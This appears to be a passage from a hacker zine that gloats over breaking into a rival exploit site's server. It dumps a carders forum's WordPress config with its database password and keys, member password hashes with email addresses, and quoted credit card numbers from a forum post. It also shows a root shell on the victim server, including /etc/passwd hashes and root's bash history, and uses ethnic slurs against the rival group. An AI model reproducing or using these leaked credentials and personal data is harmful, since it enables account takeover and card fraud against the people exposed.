17:23 wp-comments-post.php -r-xr-x--- 1 cardersblog www 238 Aug 27 17:23 wp-commentsrss2.php -r-xr-x--- 1 cardersblog www 3173 Aug 27 17:23 wp-config-sample.php -r-xr-x--- 1 cardersblog www 3506 Jul 31 14:20 wp-config.php dr-xr-x--- 6 cardersblog www 512 Aug 27 18:05 wp-content -r-xr-x--- 1 cardersblog www 1255 Aug 27 17:23 wp-cron.php -r-xr-x--- 1 cardersblog www 240 Aug 27 17:23 wp-feed.php dr-xr-x--- 7 cardersblog www 2560 Jul 18 16:06 wp-includes -r-xr-x--- 1 cardersblog www 2002 Aug 27 17:23 wp-links-opml.php -r-xr-x--- 1 cardersblog www 2441 Aug 27 17:23 wp-load.php -r-xr-x--- 1 cardersblog www 26059 Aug 27 17:23 wp-login.php -r-xr-x--- 1 cardersblog www 7774 Aug 27 17:23 wp-mail.php -r-xr-x--- 1 cardersblog www 487 Aug 27 17:23 wp-pass.php -r-xr-x--- 1 cardersblog www 218 Aug 27 17:23 wp-rdf.php -r-xr-x--- 1 cardersblog www 316 Aug 27 17:23 wp-register.php -r-xr-x--- 1 cardersblog www 218 Aug 27 17:23 wp-rss.php -r-xr-x--- 1 cardersblog www 220 Aug 27 17:23 wp-rss2.php -r-xr-x--- 1 cardersblog www 9177 Aug 27 17:23 wp-settings.php -r-xr-x--- 1 cardersblog www 18695 Aug 27 17:23 wp-signup.php -r-xr-x--- 1 cardersblog www 3702 Aug 27 17:23 wp-trackback.php -r-xr-x--- 1 cardersblog www 94184 Aug 27 17:23 xmlrpc.php $ cat wp-config.php <?php /** * The base configurations of the WordPress. * * This file has the following configurations: MySQL settings, Table Prefix, * Secret Keys, WordPress Language, and ABSPATH. You can find more information * by visiting {@link http://codex.wordpress.org/Editing_wp-config.php Editing * wp-config.php} Codex page. You can get the MySQL settings from your web host. * * This file is used by the wp-config.php creation script during the * installation. You don't have to use the web site, you can just copy this file * to "wp-config.php" and fill in the values. * * @package WordPress */ // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define('DB_NAME', 'carderscc_02'); /** MySQL database username */ define('DB_USER', 'carderscc_02'); /** MySQL database password */ define('DB_PASSWORD', 'UGZf7e6gzugef76t&/gudz376/&$%e3zugdwzgdwdztFzettf6532df'); /** MySQL hostname */ define('DB_HOST', 'localhost'); /** Database Charset to use in creating database tables. */ define('DB_CHARSET', 'utf8'); /** The Database Collate type. Don't change this if in doubt. */ define('DB_COLLATE', ''); /**#@+ * Authentication Unique Keys and Salts. * * Change these to different unique phrases! * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service} * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again. * * @since 2.6.0 */ define('AUTH_KEY', 'Mcpgq1/{n^mP,4naDg;4Y/gdX+J~.(DBLI|y~FJy*+@BDtD=CJr^M$idR[*P vuR'); define('SECURE_AUTH_KEY', '-=q0$7`R?iH}MkK^KHxbxa4)-]OcrG3y2^EVT^fs%6&7-!<v.<__AcgC^_T+$$sM'); define('LOGGED_IN_KEY', 'Sb{c7+Nhb%ao-#ylff|(I{m,fqK5}>/?7m8/r0!,o}+e:eQfZo;7W:h7av[E:0V['); define('NONCE_KEY', '|R(!,}:(`utsK5k<SJ%:J#b&UR/LxE.50Y9`6:zP;Kj0VVeGWx4(%Guh=+gb^{W6'); define('AUTH_SALT', '|zI ^JtuY-|uB;}I~X~Sn.W[BZ_pX gWA*nFL`SR]b+ bB,LVj7u+Rov|F=*@ DP'); define('SECURE_AUTH_SALT', 'N^]btUNZY-k+|%HkM##`iB2b{pftxG~:WDLwp}a!M+d8Gy.*M?p(]-SQPfZq]+k)'); define('LOGGED_IN_SALT', 'JASsyk1%PQ|!exxL,JB|0or-~zWcx+lv+KpnMH<M<&+Ro=USk--Z:8 #8a!+NkL$'); define('NONCE_SALT', 'yN8`y~ji$4+1)&N3j+KcY*x~n7=vS)Ip;! [>Q0$LoSd=e?X+C]bqBEp5WWbWLSb'); /**#@-*/ /** * WordPress Database Table prefix. * * You can have multiple installations in one database if you give each a unique * prefix. Only numbers, letters, and underscores please! */ $table_prefix = 'wp_'; /** * WordPress Localized Language, defaults to English. * * Change this to localize WordPress. A corresponding MO file for the chosen * language must be installed to wp-content/languages. For example, install * de.mo to wp-content/languages and set WPLANG to 'de' to enable German * language support. */ define ('WPLANG', ''); /** * For developers: WordPress debugging mode. * * Change this to true to enable the display of notices during development. * It is strongly recommended that plugin and theme developers use WP_DEBUG * in their development environments. */ define('WP_DEBUG', false); /* That's all, stop editing! Happy blogging. */ /** Absolute path to the WordPress directory. */ if ( !defined('ABSPATH') ) define('ABSPATH', dirname(__FILE__) . '/'); /** Sets up WordPress vars and included files. */ require_once(ABSPATH . 'wp-settings.php'); ## | __________ | _ __ _ | | | /_\ / \ /_\ | | | put shit =|= | // | =|= | | | to shit ! \__/ ! | | | carders.cc _ | | | ___ | ___ //' | | | [___] | _ :=| |=: __T_||_T__ |p= | | | ~| | =)_)= | | [__________] | | | | | | (_( |xXx| \_ _/ | | | | | | )_) """"" \ / | | | \___| V | | | | | | `========, | | | | | ________`. .'_________________| |________|__________lc_| `. .' (____) \ _| |_... .;;;;;;;;. \ (________);;;; :;;;;;;;;;;: :::::::' '::::::::' HAPPY NINJA BATHROOM Team Member Passes: Vitali:28cf8ccb53f80f7e8fca5e781f2e6424:dusFzU/ZvUe;e@fx\\3>XIgN[yGx9[*:admin@carders.cc Juri:9475264713e83164de106d099350ff97:pqfgN4x7P)5_}0-E+PsIJ\\=_o1|oV&:daafagafd@dadadagfasg.dsxc Luigi:13ae8bfbd4fc44302fc6261f58dd583e:.u5//.-K4<b~M[3Ag#|xSIHhmSuKrT:bla@bla.de acheron:60536586e174bce7aa1fccf6a674f6f6:"Ru97*G!'*1'{vhs}3Ze4jCnQ8CT=p: cyberhood:c5ad50f86c6dbbbea072c243b6466a1f:XY4NYQYr:soh.cyberhood@googlemail.com e0s:86ca341341366d95e5eb02c79d1cfd47:Q\\8NL6Zno+G-}J'n(T?ndQbV{vhcN=:e0s@z1p.biz M0RPHEUS:fa667b7f92f7cc9f7739bbbbe68f9a9c:E\\T$#=?"hy"g0BD~@giHAtDDj`P0VS:m0rpheus@carders.cc Mr.Rus:6e3c81779f105c2cb8a5f36261000cc5:x6GX91GTd$D^yn/@U>`u$lm00M3V}h:d397080@lhsdv.com Poseidon:0c18d81bcfa2845490f75e785f0e2457:BG$vA-%K_X<F8S%-"~fzr8&t(JJV)7:b2926398@lhsdv.com SILEN0S:a02675626c179834bf1a2545658a9426:5{+!Og}.xKA&$PHo)5nH-DKO_[zK9L:silen0s@ymail.com slashx:edb36a0c2d7fe71ecabe36152b4ff942:S'I)uhPovr~Y=;/$S=p)k.SFdqw7)P:jobby.cyriac@web.de Tiberius:03b38fcabea847925ab42d66e8134d1b:GS.XKvwJnhsr[7a9l7E6g+?E><=|nF:tiberiusus@carders.in You guys dont get it, do you? We told you to fuck off and still you did not listen. We are not sorry for doing it again. You deserve it. ____________________________________________________|_._._._._._._._, \___________________________________________________|_|_|_|_|_|_|_|_| ! ~ inj3ct0r ~ #`````````` ___ ____ ____ #````______/```\__//```\__/____\ #``_/```\_/``:```````````//____\ #`/|``````:``:``..``````/````````\ W A R N I N G !!! DISCOVERED LAMER O_o #|`|`````::`````::``````\````````/ #|`|`````:|`````||`````\`\______/ #|`|`````||`````||``````|\``/``| #`\|`````||`````||``````|```/`|`\ 1) maybe you were wrong address, go Inj3ct0r.com #``|`````||`````||``````|``/`/_\`\ #``|`___`||`___`||``````|`/``/````\ #```\_-_/``\_-_/`|`____`|/__/``````\ #````````````````_\_--_/````\`````/ 2) Or you are not wrong address, then Fuck Off! #```````````````/____```````````/ #``````````````/`````\`````````/ #``````````````\______\_______/ Attention. This ridiculous banner is *not* part of our zine. In fact it is inj3ct0r's 404 page. We concluded that this banner perfectly reflects their retardedness. Their knowledge about security is on the same level as their ability to speak proper english. For those who don't know: inj3ct0r is a clone of the old milw0rm project, administered by some morons called "r0073r", "Sid3^effects" and "L0rd CrusAd3r". They are not only an exploit-db, but also an arrogant community of retarded turks and arabs which tell you how you to write your stupid Perl SQL-Injection exploit. All their attention whoring about how they hacked Facebook was driving us insane and all their moaning about how they have problems with the law was just too ridiculous for us to let them continue existing. Actually we did not find out what kind of law problems they actually had. We did however discover how stupid these kids are and what crap they are talking about in their private forum area's. Check it out: ------------- -0day 31337 privat Area -10-24-2010, 05:08 PM Post by KnocKout: - -0-Day Credit Cards | Part 2(Only 31337 Prv.)- - -Hi My Brothers.. - -14367 4454-5454-5454-5445 1 232 12-2012 -14375 5257-9555-0001-0933 1 082 03-2013 ADVANTAGE -14376 5492-9495-5876-7382 1 280 01-2013 BONUS -14391 5437-7122-6415-1343 1 334 07-2012 MAXÐ­MUM -14392 5437-7122-6415-1343 1 334 07-2012 MAXÐ­MUM -------------- - -0day 31337 privat Area -10-17-2010, 04:36 PM Post by KnocKout: - -Default => Rapid,Hotfile,CC Requests.. - -hi my brothers, -RapidShare, Hotfile Premium and Credit Card. Requests.. - -Please indicate your requests here, and I will send Pm.. -------------- Not only they are sharing CC's, they also think of themselves as the best hackerz on the planet. Here is how they talk about exploit-db and offsec: ------------- -0day 31337 privat Area: -07-19-2010, 10:05 PM Post by SeeMe: - -guys, a bind shell have been sent to offsec server and enforced the regarding ports to be open - -Port State Service Reason Product Version Extra info -22 tcp open ssh syn-ack OpenSSH 5.4 protocol 2.0 -80 tcp open http syn-ack Apache httpd 2.2.15 (Fedora) -301 tcp filtered unknown no-response -443 tcp open https syn-ack -1072 tcp filtered unknown no-response -1087 tcp filtered unknown no-response -1100 tcp filtered unknown no-response -1111 tcp filtered unknown no-response -1117 tcp filtered unknown no-response -1443 tcp filtered ies-lm no-response -1718 tcp filtered unknown no-response -1720 tcp filtered H.323/Q.931 no-response -1900 tcp filtered upnp no-response -2000 tcp filtered cisco-sccp no-response -2041 tcp filtered interbase no-response -2046 tcp filtered sdfunc no-response -2382 tcp filtered ms-olap3 no-response -3017 tcp filtered unknown no-response -4129 tcp filtered unknown no-response -4900 tcp filtered unknown no-response -5060 tcp filtered sip admin-prohibited -5555 tcp filtered freeciv no-response -5560 tcp filtered isqlplus no-response -6669 tcp filtered irc no-response -8007 tcp filtered ajp12 no-response -9102 tcp filtered jetdirect no-response -10000 tcp open snet-sensor-mgmt syn-ack -44443 tcp filtered coldfusion-auth no-response - -but I just can't connect back to it - -any idea! ------------- - -07-21-2010, 10:10 PM Post by SeeMe: - -This is a new technology for me how to gain credentials over HTTP TRACE and TRACK -when it's enable on a webserver - -The TRACE/TRACK method was enabled on the server listed below: - -http://www.offensive-security.com:80/ - -[PHP]http://www.offensive-security.com/wp-content/themes/infocus/lib/scripts/prettyPhoto/js/jquery.prettyPhoto.js?ver=./2.9.2%20HTTP/1.1[/PHP] - - -could gain view info from the link above ------------- - -07-30-2010, 12:26 AM Post by SeeMe: - -http://mobile.backtrack-linux.org/ - -exploited for good and not sure that will be able to back it up - -and I'm still heading for the main both sites, offsec.com and exploit-db - -After one month into the desert I'll be back infront of my computer on 15th of Agu - -and I'll prepare for a globel war ------------- They are calling exploit-db "lamers-db" yet they don't see who the real lamers are. Hardly surprising that the inj3ct0r team did not manage their box themselves and instead gave their work to some fat guy called "asker". But since he left his box rot with some half updated shit, it was a child's play to tap in and root. $ uname -a Linux wateam 2.6.26-2-686 #1 SMP Thu Sep 16 19:35:51 UTC 2010 i686 GNU/Linux $ id uid=0(root) gid=0(root) groups=0(root) $ cd / $ ls -la total 540 drwxr-xr-x 22 root root 1024 Oct 3 22:04 . drwxr-xr-x 22 root root 1024 Oct 3 22:04 .. drwxr-xr-x 2 root root 3072 Oct 3 21:09 bin drwxr-xr-x 4 root root 1024 Oct 3 21:10 boot drwxr-xr-x 15 root root 3460 Oct 15 15:19 dev drwxr-xr-x 68 root root 6144 Oct 20 17:44 etc drwxr-x--x 37 root root 4096 Oct 20 17:45 home drwxr-xr-x 2 root root 1024 Nov 3 2007 initrd lrwxrwxrwx 1 root root 28 Jul 29 11:28 initrd.img -> boot/initrd.img-2.6.26-2-686 lrwxrwxrwx 1 root root 28 Nov 24 2008 initrd.img.old -> boot/initrd.img-2.6.18-6-686 drwxr-xr-x 12 root root 7168 Oct 3 21:09 lib drwx------ 2 root root 12288 Nov 3 2007 lost+found drwxr-xr-x 2 root root 1024 Nov 3 2007 media drwxr-xr-x 2 root root 1024 Oct 28 2006 mnt drwxr-xr-x 2 root root 1024 Nov 3 2007 opt dr-xr-xr-x 154 root root 0 Oct 15 15:18 proc drwxr-x--- 7 root root 1024 Oct 15 17:27 root drwxr-xr-x 2 root root 6144 Oct 3 21:09 sbin drwxr-xr-x 2 root root 1024 Sep 16 2008 selinux drwxr-xr-x 2 root root 1024 Nov 3 2007 srv drwxr-xr-x 11 root root 0 Oct 15 15:18 sys drwxrwxrwt 7 root root 492544 Oct 24 19:03 tmp drwxr-xr-x 12 root root 4096 Jul 29 11:22 usr drwxr-xr-x 15 root root 4096 Oct 29 2009 var lrwxrwxrwx 1 root root 25 Jul 29 11:28 vmlinuz -> boot/vmlinuz-2.6.26-2-686 lrwxrwxrwx 1 root root 25 Nov 24 2008 vmlinuz.old -> boot/vmlinuz-2.6.18-6-686 $ cat /etc/passwd root:1NMGwkEq76.BsjeYGuM106fIjuU.RS/:0:0:root:/root:/bin/bash daemon:*:1:1:daemon:/usr/sbin:/bin/sh bin:*:2:2:bin:/bin:/bin/sh sys:*:3:3:sys:/dev:/bin/sh sync:*:4:65534:sync:/bin:/bin/sync games:*:5:60:games:/usr/games:/bin/sh man:*:6:12:man:/var/cache/man:/bin/sh lp:*:7:7:lp:/var/spool/lpd:/bin/sh mail:*:8:8:mail:/var/mail:/bin/sh news:*:9:9:news:/var/spool/news:/bin/sh uucp:*:10:10:uucp:/var/spool/uucp:/bin/sh proxy:*:13:13:proxy:/bin:/bin/sh www-data:*:33:33:www-data:/var/www:/bin/sh backup:*:34:34:backup:/var/backups:/bin/sh list:*:38:38:Mailing List Manager:/var/list:/bin/sh irc:*:39:39:ircd:/var/run/ircd:/bin/sh gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:*:65534:65534:nobody:/nonexistent:/bin/sh mysql:!:100:102:MySQL Server,,,:/var/lib/mysql:/bin/false proftpd:!:101:65534::/var/run/proftpd:/bin/false ftp:!:102:65534::/home/ftp:/bin/false sshd:!:103:65534::/var/run/sshd:/usr/sbin/nologin Debian-exim:!:104:104::/var/spool/exim4:/bin/false krivopustov:1V5RSW94dbZ3zwhsovKB4V5hHgvLLF/:1002:1002:,,,:/home/krivopustov:/bin/bash volosovets:1NMLjMXqhFedJgnjw0uBwdQ2jRFqbG0:1007:1007:,,,:/home/volosovets:/bin/bash wapper:1c1iEEB/k591mvgQk8a5mbsZmPwY8Q1:1008:1008:,,,:/home/wapper:/bin/bash jaguar:1NOCfawFB/TD6X9.hEmN9Mn0kg1G.s1:1011:1011:,,,:/home/jaguar:/bin/bash postfix:!:105:106::/var/spool/postfix:/bin/false popa3d:!:106:109::/var/lib/popa3d:/bin/false asmer:1O2E8f0enwpuZw37FkNoe0MNSktFTd.:1012:1012:,,,:/home/asmer:/bin/bash wateam:1cewmdLFokkbiLeLlHrL2NJnPdqpnR/:1013:1013:,,,:/home/wateam:/bin/bash silentwarrior:1aDOI9IqA5BrDw1EBfH4Afm5TYRNe//:1014:1014:,,,:/home/silentwarrior:/bin/bash snt-nmu:1NZO0tdC.reQ07bby/FttmOEZLF7ys1:1015:1015:,,,:/home/snt-nmu:/bin/bash nmusic:1tXoV.I8o28zdaeu.Ukrde4hYikNtG0:1020:1020:,,,:/home/nmusic:/bin/bash mydns:1C8cYgZB0p9rtxWwyXoiJiK4QUa.sJ/:1021:1021:,,,:/home/mydns:/bin/bash conference-sidelnikov:1ghcMsPcI9j5ok3AbEf5qGI.h7Mq7O.:1016:1016:,,,:/home/conference-sidelnikov:/bin/bash lena:153QNshcJB/5PK1r8L/60LAOJCwzik1:1000:1000:,,,:/home/lena:/bin/bash vakulenko:1g6y9T9/TWWr1s.FTZKwuKj2qwbYxg1:1027:1027:,,,:/home/vakulenko:/bin/bash xanavi:1V4L5wKgWog9Kl4lV0uwvG0/0TyHyq1:1001:1001:,,,:/home/xanavi:/bin/bash lalizas:1dzDm0j2v0fE06VyK89b/Pfm6ePylC0:1003:1003:,,,:/home/lalizas:/bin/bash r0otech0inj3ct0rr00t0ro0t3r:1Yu.4UMOxpFH639CL8260qyjYwKgbk1:1006:1034:,,,:/home/r0otech0inj3ct0rr00t0ro0t3r:/bin/bash n3tw0rkTeRr0r15M:1u1DDFCJnGFd0M07E5kahW3t0N1yYD1:1010:1034:,,,:/home/n3tw0rkTeRr0r15M:/bin/bash pma:1cDULb4Zqt4ksmqqFe9MIQSBLrz3lO.:1019:1019:,,,:/home/pma:/bin/bash valiant:1QXeOzsOyaW8gT6JknX1Ssa.A3ef8g/:1024:1024:,,,:/home/valiant:/bin/bash cherrybikes:11MJaagK8rJ6BQ9pxLdZjU.WhIGG4r0:1031:1031:,,,:/home/cherrybikes:/bin/bash natasha:1NmwIlomO.Y00wBbg0eGE9dqOP4qis/:1032:1032:,,,:/home/natasha:/bin/bash ntp:!:107:107::/home/ntp:/bin/false chupik:1gpJL5HGbm7EeCor46OOs8L0y1L7mH1:1005:1033:,,,:/home/chupik:/bin/bash sweethome:1x4j1/bzV8Vf5fHBfeSp3BgMUNojJf.:1004:1035:,,,:/home/sweethome:/bin/bash sweethome-lena:1uZFdDmVbAHGDtbBEGs1jjYYtvVONN1:1009:1036:,,,:/home/sweethome-lena:/bin/bash skyweb:1.wiXZLSKG4F6WGVdgKDIorjx77.ZD1:1028:1037:,,,:/home/skyweb:/bin/bash yslivka:1RNlOuljj5wZ8hdD0kSDe2wPMREdBu1:1029:1038:,,,:/home/yslivka:/bin/bash tmv-nmu:168k122DrZFKqjXrwYSjjdMSKzzVDy.:1030:1039:,,,:/home/tmv-nmu:/bin/bash web-ghost:1wuuXL1mSrDxVErzeO0KuoZKu8mJBj1:1018:1018:,,,:/home/web-ghost:/bin/bash tiler-andrey:1RGxMA/cQA090Sx/VTTctkkHFZEs7I1:1035:1041:,,,:/home/tiler-andrey:/bin/bash sunsanych:1RaR9SD58m80b/DVZEHYg6Ik4SKYWJ.:1036:1042:,,,:/home/sunsanych:/bin/bash ra5ta:1nkELVbaHtGqTJl29kSFbjlDs1Yy3U0:1037:1043:,,,:/home/ra5ta:/bin/bash magicgarden:1.MBu1KaRXkR2bihB8ZXnqfHbqQ5bm0:1038:1044:,,,:/home/magicgarden:/bin/bash hochumogu:1MwCkIsEmO0Xe/BV8PndFgE9sIMF/Q1:1025:1025:,,,:/home/hochumogu:/bin/bash libuuid:!:108:110::/var/lib/libuuid:/bin/sh steelnews:1ajGgNpodz1jrN1JlmcmLmms5Wf7kn0:1017:1017:,,,:/home/steelnews:/bin/bash vonline:1sk1MRD8BW3jlEKEYUNCtJ3d0gY1bh0:1022:1045:,,,:/home/vonline:/bin/bash dyquem:1JkATmEyg3XnBHIeGOEstzP2vmes4s1:1039:1046:,,,:/home/dyquem:/bin/bash vika:1bkhqsMEjgj7H.DzRJLoGj64SksjzM1:1040:1047:,,,:/home/vika:/bin/bash tiler-dima:1jKtO0mArwxlajKK9/v4yFHF1mu9/g0:1026:1040:,,,:/home/tiler-dima:/bin/bash mazafaka:1LSjx2PhiI7OlLVcMSEz2GJDUiwBmg.:1034:1034:,,,:/home/mazafaka:/bin/bash tiler:1Qa4oVdJmYjcu6Ccq/7AqTEA6V2GIT1:1023:1023:,,,:/home/tiler:/bin/bash $ cd /root $ ls -la total 14 drwxr-x--- 7 root root 1024 Oct 15 17:27 . drwxr-xr-x 22 root root 1024 Oct 3 22:04 .. drwx------ 2 root root 1024 Aug 20 02:09 .aptitude -rw------- 1 root root 6748 Oct 22 22:28 .bash_history drwxr-xr-x 2 root root 1024 Aug 20 02:09 .debtags drwxr-xr-x 2 root root 1024 Oct 15 17:29 .mc drwxr-xr-x 2 root root 1024 Aug 2 21:39 scripts drwxr-xr-x 2 root root 1024 Oct 15 16:51 test $ cat .bash_history apache2 -k restart cd /home/maza*/h* ls -al nano index.html ls -al nano index.html exit a2ensite mazafaka.in apache2 -k restart edquota -g inj3ct0r quotatool quotatool -g inj3ct0r -bl 512M /home edquota inj3ct0r edquota -g inj3ct0r exit cd /home/n* ls -al cd ht* ls -al nano index.php ls -al cd t*dark ls -al cd gra* ls -al cd .. du cd .. ls -al du tech_dark du tech_blue du tech_white ls -al cd cpstyles ls -al du du -h cd . cd.. cd .. du -h *dark cd tech_dark ls -al cd misc ls -al cd .. cd .. find ./ -name *.tpl find ./ -name *.htm find ./ -name *.htm* find ./ -name *.tpl cd .. cd ht* cd gree* ls -al du -h cd pools cd pools cd polls ls -al cd .. cd regimage ls -la cd ../.. nano index.php ls -al rm ya*.txt rm google* cd incl* ls -al cd .. ls -al cd green* ls -al cd editor ls -al cd .. cd attach ls -al cd .. cd .. ls -al find ./ -name *.css cd cp* ls -al cd vB* ls -al cd .. ls -al du -h cd .. find ./ -name *.css nano ./tech_white/tech_white.css exit cd /etc/ nano crontab exit cd /var/ ls -la cd mail ls -al cd /etc/postfix nano virtual postmap virtual nano aliases defrag ls -al exit cd /var/mail ls -al rm tiler-* ls -la exit exit passwd tiler passwd tiler exit cd /etc/ nano passwd exit passwd lena exit sasldbpasswd2 saslpasswd2 saslpasswd2 -c lena sasllistusers2 sasldblistusers2 saslpasswd2 saslpasswd2 -d sweethome-lena exit saslpasswd2 -c sweethome-lena passwd sweethome-lena exit passwd tiler exit cd /home/snt* ls -al cd ht* ls -al nano index.php exit cd /home/sn*/h*/ nano index.php cd /home/wa*/h* ls -al nano index.php cd /home/wateam cd h* nano index.html exit cd /home ls -al cd lena ls -al cd htdocs ls -al cd .. cd .. rm lena -R cd mydns ls -al cd .. rmdir mydns cd temp ls -al du -h rm * cd .. ls -al cd lo* ls -al cd .. rmdir lost+found exit cd /home/wateam ls -al cd other ls -al cd ../htdocs nano index.html exit cd /home/n* cd htdocs ls -al cd inc* ls -al nano config.php exit cd /etc/apache2 nano apache2.conf nano vhosts.conf nano apache2.conf apache2 -k restart nano apache2.conf apache2 -k restart cd /mo*e cd mo*e nano fcgi* cd .. nano vhosts nano vhosts cd /var/lib/log* ls -al cat status cat status|more nano status rm status logrotate logrotate -f /etc/logrotate.conf ls -al nano status ls -al df -h cd /var/log ls -al exit cd /home/ tar --help tar cls tar --help|more tar --help|more tar --help|more cd cd tiler ls -al cd tiler ls -al tar cvzf tiler.tar ls -al cd ht* ls -al tar cvzf tiler.tar tar --help|more man tar ls -akl ls -al cd .. tar -zcvf tiler.tar htdocs ls -la nano /etc/passwd init 6 exit ren rename mkdir test cd test touch 1d_5.jpg touch 1d_7.JPG touch 1.jpg touch 1d7.JPg ls -al rename rename --help man rename rename -n (.*)\.JPG 1.jpg rename -n '/.*\.JPG/' *.jpg rename -n /.*\.JPG/ *.jpg rename -n /.*\.JPG/ * rename -nv /.*\.JPG/ * ls -al rename -nv s/.*\.JPG/ * rename -nv /.*\.JPG/ * rename -nv /.*\.JPG/ *.JPG rename -nv /.*\.JPG/ *.JPG rename -nv '/.*\.JPG/' *.JPG rename -nv '/.+\.JPG/' *.JPG rename -nv '/.+\.JPG/' *.JPG rename -nv . * rename -nv /./ * rename -nv /./ *.JPG rename -n 'y/A-Z/a-z/' * rename -n '/A-Z/a-z/' * rename -n /\.JPG/ * rename -n /\.JPG/ *.JPG rename -n '\.JPG' *.JPG rename -n 's/\.JPG/' *.JPG rename -n 's/\.JPG//' *.JPG rename -n 's/\.JPG//' *.JPG rename -n '/\.JPG//' *.JPG rename -n '/\.JPG//' *.JPG rename -n '/\.JPG/' *.JPG rename -n 's/\.JPG//' *.JPG ls -al mv 1.jpg ONE.JPG ls -la rename -n 's/\.JPG//' *.JPG rename -n 's/\.JPG//' ** rename -n 's/\.JPG//' *.* rename -n 's/\.JPG//' rename -n 's/\.JPG//' *.JPG rename -n 's/\.JPG//' *E.JPG rename -n 's/\.JPG//' *. man rename rename -nv s\.jpg// *.JPG rename -nv s\./jpg// *.JPG rename -nv s\./jpg// *.JPG man rename rename -nv .JPG .jpg * rename -nv /.JPG .jpg/ * rename -nv /\.JPG \.jpg/ * rename -nv /\.JPG \.jpg/ *rename .bak .txt *.bak rename .bak .txt *.bak rename -nv s/\.JPG/\.jpg/ * rename -nv s/\.JPG/\.jpg/ * rename -nv s/\.JPG/\.jpg/ * rename -nv s/\.JPG/\./ * rename -nv s/\.JPG/\.jpg/ * cd /home/ cd tiler cd ht* cd up* cd ima* ls -al rename s/\.JPG/\.jpg/ * ls -al ls -al rename s/\.JPG/\.jpg/ * rename -nv s/\.JPG/\.jpg/ * rename -nv s/\.JPG/\.jpg/ *|more rename -nv s/\.JPG/\.jpg/ *|more mc cd .. cd .. cd .. ls -al tar zcvf tiler.tar.gz htdocs cd ht* rmdir uploaded -R rm uploaded -R exit cd /home/r0*' cd /home/r0* cd h* nano index.php cd ../../snt* cd ht* nano index.php cd ../../n* cd ht* ls -al nano index.php ls -al find / - name *.tpl find ./ -name *.tpl find ./ -name template find ./ -name tp find ./ -name tem find ./ -name them ls -al grep --help grep -rl "sweethome" ./ grep -rl "tiler" ./ cd ../../ ls -al cd sweethome ls -al cd htdocs ls -al nano tem* cd tem* cd blocks ls -al nano left.php nano left.php cd /home/tiler/ht* ls -al cd .././ cd ../ ls -al cd sn* cd ht* nano index.php cd ../../ cd r0*/h* nano index.php cd ../../wa* cd ../wateam cd ht* nani index.html nani index.htm nani index.php ls -al nano index.html exit /etc/init.d/ssh_brute stop /etc/init.d/ssh_brute start cd /var/log/pro* ls -al tail -n 100 proftpd.log tail -n 100 proftpd.log tail -n 100 proftpd.log tail -n 100 proftpd.log tail -n 100 proftpd.log tail -n 100 proftpd.log tail -n 100 proftpd.log tail -n 100 proftpd.log tail -n 100 proftpd.log tail -n 100 proftpd.log tail -n 100 proftpd.log tail -n 100 proftpd.log tail -n 100 proftpd.log tail -n 100 proftpd.log tail -n 100 proftpd.log tail -n 100 proftpd.log|grep 18 tail -n 100 proftpd.log|grep 18 tail -n 100 proftpd.log|grep 18 tail -n 100 proftpd.log|grep 18 exit cd /home/tiler ls -al tar zcvf 18.10.2010.tar.gz htdocs ls -al exit cd /var/log cd mail ls -al cat mail.log|grep stempher cat mail.log|grep "Oct 19 12" cat mail.log|grep "Oct 19 12"|more exit adduser sbs adduser sbs deluser sbs adduser sbs cd /home/sbs cd /etc/apache2 ls -al cd si*e ls -al cp yslivka.org.ua sbs-ua.com nano sbs-ua.com a2ensite sbs-ua.com cd /etc exit apache2 -k restart exit cd /etc/apache2 cd si*e ls -al nano asmerok.org.ua apache2 -k restart adduser www-data sbs adduser www-data sbs apache2 -k restart exit cd /etc/ssh* ls -al cd sshd* nano sshd* exit /etc/init.d/ssh restart exit cd /etc/apache2 cd si*e nano sbs-ua.com apache2 -k restart exit unrar urar apt-get install unrar apt-get clean apt-get update apt-get install unrar apt-get install urar apt-get install unrar-free unrar unrar --help unrar --usage apt-get upgrade apt-get clean exit deluser sbs cd /home rm sbs -R a2dissite sbs-ua.com cd /etc/apache2 cd si*e rm sbs-ua.com apache2 -k restart ls -al exit cd /home ls -la exit cd /etc/apache2 cd si*e cp chupik.org.ua vdnh.org.ua cp chupik.org.ua vdnh.org.ua ls -al cd .. nano vhosts cd si*e ls -al nano chupik.org.ua nano vdnh.org.ua a2ensite chupik.org.ua a2ensite vdnh.org.ua apache2 -k restart exit cd scripts ls -la total 4 drwxr-xr-x 2 root root 1024 Aug 2 21:39 . drwxr-x--- 7 root root 1024 Oct 15 17:27 .. -rwx------ 1 root root 76 Feb 1 2010 clear_cband.sh -rwx------ 1 root root 220 May 31 00:59 uaix_block.sh cat * #!/bin/sh apache2 -k stop sleep 5 rm /etc/apache2/cband/* apache2 -k start #!/bin/sh rm prefixes.txt rm /etc/apache2/cband-ua.conf wget -q http://www.colocall.net/uaix/prefixes.txt for i in `cat prefixes.txt` do echo "CBandClassDst i" >> /etc/apache2/cband-ua.conf done apache2ctl graceful $ cd .. $ cd test $ ls -la total 2 drwxr-xr-x 2 root root 1024 Oct 15 16:51 . drwxr-x--- 7 root root 1024 Oct 15 17:27 .. -rw-r--r-- 1 root root 0 Oct 15 16:34 1d7.JPg -rw-r--r-- 1 root root 0 Oct 15 16:33 1d_5.jpg -rw-r--r-- 1 root root 0 Oct 15 16:33 1d_7.JPG -rw-r--r-- 1 root root 0 Oct 15 16:33 ONE.JPG $ cd /home $ ls -la total 169 drwxr-x--x 37 root root 4096 Oct 20 17:45 . drwxr-xr-x 22 root root 1024 Oct 3 22:04 .. -rw------- 1 root root 9216 Oct 22 17:45 aquota.group -rw------- 1 root root 9216 Oct 22 17:45 aquota.user drwxr-x--- 7 asmer asmer 4096 Oct 22 18:58 asmer drwxr-x--- 6 cherrybikes cherrybikes 4096 Oct 24 18:56 cherrybikes drwxr-x--- 4 chupik chupik 4096 Dec 14 2009 chupik drwxr-x--- 4 conference-sidelnikov conference-sidelnikov 4096 Jan 7 2010 conference-sidelnikov drwxr-x--- 4 dyquem dyquem 4096 Sep 6 17:20 dyquem drwxr-x--- 4 hochumogu hochumogu 4096 Jul 16 16:51 hochumogu drwxr-x--- 13 jaguar jaguar 4096 Oct 24 10:49 jaguar drwxr-x--- 4 krivopustov krivopustov 4096 Nov 6 2007 krivopustov drwxr-x--- 3 lalizas lalizas 4096 Feb 18 2009 lalizas drwxr-x--- 4 magicgarden magicgarden 4096 Jul 12 23:32 magicgarden 